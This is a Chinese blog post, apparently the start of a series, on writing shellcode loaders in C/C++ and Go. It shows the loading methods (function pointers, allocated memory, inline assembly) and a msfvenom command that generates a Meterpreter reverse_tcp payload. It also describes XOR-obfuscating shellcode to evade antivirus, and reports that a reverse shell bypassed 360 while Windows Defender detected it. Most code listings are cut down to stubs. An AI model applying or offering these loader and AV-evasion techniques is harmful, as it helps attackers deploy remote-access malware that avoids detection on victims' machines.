各语言ShellcodeLoader初探
这是从0开始写ShellCode加载器的第0篇文章,文章列表,样本demo已上传到GitHub
C/C++加载shellcode
源码+shellcode直接编译:函数指针执行,汇编指令执行,申请动态内存
使用加载器加载shellcode
函数指针执行
1 |
|
申请动态内存加载
1 | unsigned char buf[] = |
内联汇编加载
1 |
|
Go语言加载shellcode
1 | package main |
使用go加载shellcode有两个问题需要注意,一是shellcode要生成x64架构的,二是shellcode需要生成num格式
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xxxxxxx lport=xxxx -a x64 -f num |
shellcode变形免杀初探
shellcode的本质是计算机可直接执行的机器码,比汇编语言更低一层的存在,对于msf生成的一段弹出calc.exe的shellcode,翻译成汇编语言如下所示
1 | 00446000 | FC | cld | |
原文https://blog.csdn.net/qq_35740100/article/details/116300959
结合一段弹出calc的shellcode进行试验
有程序的输出可知,shellcode的长度为194字节,\x意味着后面是16进制。所以shellcode就是一段194字节长的16进制数据。由于shellcode是16进制而不是字符串的缘故,用常规的加密思路去处理显得很困难。
在这里我使用异或的方法处理shellcode,异或的特点是原数据经过两次异或后与原来相同,本例中最终的buf经过函数指针执行是可以正常启动calc.exe的。将第一次异或后密文保存,使用时在代码中解密,就是变形免杀的初步思想。
1 | void main() |
将shellcode换成反弹shell再次进行试验,360动态静态全部免杀正常上线。但是当360开启鲲鹏引擎时动静都被查杀。
windows defender直接查杀
从vt查杀率来看,效果还有待提高,不过相比未作处理已有很大改善。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Lucky Future的技术栈!
评论
WalineDisqusjs